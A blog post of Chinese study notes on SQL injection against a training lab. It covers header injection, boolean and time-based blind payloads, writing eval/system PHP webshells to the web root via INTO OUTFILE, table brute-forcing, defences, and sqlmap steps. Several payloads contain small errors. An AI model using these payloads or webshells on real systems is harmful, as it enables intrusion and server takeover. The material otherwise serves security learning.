美文网首页
sql注入学习笔记(二)

sql注入学习笔记(二)

作者: sunnnnnnnnnny | 来源:发表于2020-01-30 10:21 被阅读0次

HTTP header注入

有些时候,后台开发人员为了验证客户端头信息(比如常用的 cookie验证)
或者通过httpheader头信息获取客户端的一些信息,比如useragent,accept字段等等。会对客户端的httpheader信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于httpheader的SQLInject漏洞。

使用burpsuite抓取前后段交互的HTTP请求,修改头信息


修改user agent 修改cookies

test payload

基于HTTPHeader
Cookie: ant[uname]=admin' and updatexml (1, concat(0x7e, database ()),0)#
firefox or updatexml(1,concat(0x7e, database ()),0) or

盲注

什么是盲注

在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错
此时无法在根据报错信息来进行注入的判断。
这种情况下的注入,称为“盲注“
根据表现形式的不同,盲注又分为 based boolean和 based timei两种类型

基于boolean的盲注测试

基于 boolean的盲注主要表现症状
0.没有报错信息
1.不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
2.在正确的输入下,输入and1=1/and1=2发现可以判断

test payload

kobe' and len(database())=7#
#如果前端返回结果,说明database()字符串的长度为7,不返回信息的话,说明不是7,可以用二分法试探
kobe' and ascii(substr(database()), 1, 1))=112#
#如果前端返回结果,说明database()第一个字母的ascii码为112,不返回信息的话,说明不是,可以用二分法试探

通常编写脚本或者使用sqlmap进行盲注测试

基于time的盲注测试

如果说基于 boolean的盲注在页面上还可以看到0 or 1的回显的话
那么基于time的盲注完全就啥都看不到了
但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入
常用的 Test Payload
kobe and sleep(5)
看看输入:kobe'和输入kobe' and sleep(5)#的区别,从而判断这里存在 based time的sqL注入漏洞
利用Firefox的开发者工具中的network可以查看响应时间,如果当前页面在5秒后返回,说明执行了sleep(5),存在基于时间的盲注漏洞

基于时间的延迟
kobe' and if((substr(database(),1, 1))='p', sleep(5), null)#
#若页面在5秒后返回,说明database()的第一个字母为p,否则不是

利用sql注入漏洞进行远程控制

一句话木马

一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大。

PHP: <?php @eval(S_POST['chopper']) ?>
ASP: <%eval request("chopper")%>
ASP.NET: <% Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe"); %>

如何通过into outfile写入恶意代码并控制os

select 1, 2 into outfile "/var/www/html/1.txt"

into outfile将 select的结果写入到指定目录的1txt中
在一些没有回显的注入中可以使用 into outfile将结果写入到指定文件,然后访问获取
前提条件

1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了 secure_ file_ priv

查看secure_file_priv配置

需要在mysql的配置文件/etc/my.cnf中增加secure_file_priv为空

获取操作系统权限

kobe' union select " <?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#

使用方法 http://[target_ip]:[target_port]/1.php?test=[php命令],如http://192.168.1.5/1.php?test=phpinfo()

kobe' union select " <?php @system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"#

使用方法 http://[target_ip]:[target_port]/2.php?cmd=[系统命令],如http://192.168.1.5/2.php?test=whoami

一句话木马可以结合菜刀或者蚁剑等工具来使用,达到远控的目的
可参考
中国菜刀简介及使用
AntSword文档

表名或列表的暴力破解

当information_schema不能访问时
暴力破解表名和列名称:
kobe' and exists(select * from aa)#
kobe' and exists(select id from users)#
可以使用burpsuite的intruder模块加载字典进行爆破

SQL Inject注入漏洞的防范

代码层面

1.对输入进行严格的转义和过滤

转义加过滤

2.使用预处理和参数化( Parameterized)

可以避免用户的输入直接拼接成sql语句

使用PDO
可参考
PDO场景下的SQL注入探究
PDO防sql注入原理分析

网路层面

1.通过wAF设备启用防sql注入策略(或类似防护系统)

部署位置

2.云端防护(360网站卫士,阿里云盾等)

对于在云端部署的服务器可以采用厂商提供的防护产品


云防护

sqlmap的使用

sqlmap是一个强大的自动化sql注入工具,可以替代手工完成许多任务
在sqlmap的官网(http://sqlmap.org/)下载
sqlmap的经典用法

 第一步
u"xx" -cookie="yy"
//带上 cookie对URL进行注入探测
第二步
u"xx" -cookie="yy" -current-db
//对数据库名进行获取
第三步
u"xx" -cookie="yy" -D pikachu --tables
//对数据库的表名进行枚举
第四步
u"xx" -cookie="yy" -D pikachu -T users -columns
//对dvwa库里面的名为 users表的列名进行枚举
第五步
u"xx" -cookie="yy" -D pikachu -T users -C username,password --dump
//提取pikachu.users中的指定的字段 

可参考
SQLMap 从入门到入狱详细指南
超详细SQLMap使用攻略及技巧分享

相关文章

  • web安全之SQL注入

    2018/07/06 23:41 慕课网web安全之SQ之注入课程学习笔记 什么是SQL注入? 如何寻找SQL注入...

  • DVWA-SQL Injection(SQL注入)

    本系列文集:DVWA学习笔记 SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

  • sql注入学习笔记(二)

    HTTP header注入 有些时候,后台开发人员为了验证客户端头信息(比如常用的 cookie验证)或者通过ht...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • SQL注入漏洞案例实践学习记录(2018.7-2018.8)

    一、SQL注入简述 SQL注入漏洞测试的方式总结 SQL注入常用的内置函数整理(以MySql为例) 二、测试环境&...

  • WebGoat 靶场笔记

    sql注入笔记1.String SQL injection SELECT * FROM user_data WHE...

  • web--杂烩

    这个笔记有点乱 0x01 cms XDCMS1、SQL注入漏洞 注册会员处的 SQL 注入/system/modu...

  • Hacking PHP

    Edit by Qsaka 这篇paper只是个人的学习笔记,如有疏漏之处,欢迎指出。 0X01 SQL注入 这里...

  • SQL注入学习笔记

    SQL注入是在学习网络安全时最先学到的一个漏洞知识点,难度不大,记录一些知识点,以后可以快速回顾。 首先,SQL是...

网友评论

      本文标题:sql注入学习笔记(二)

      本文链接:https://www.haomeiwen.com/subject/zyfithtx.html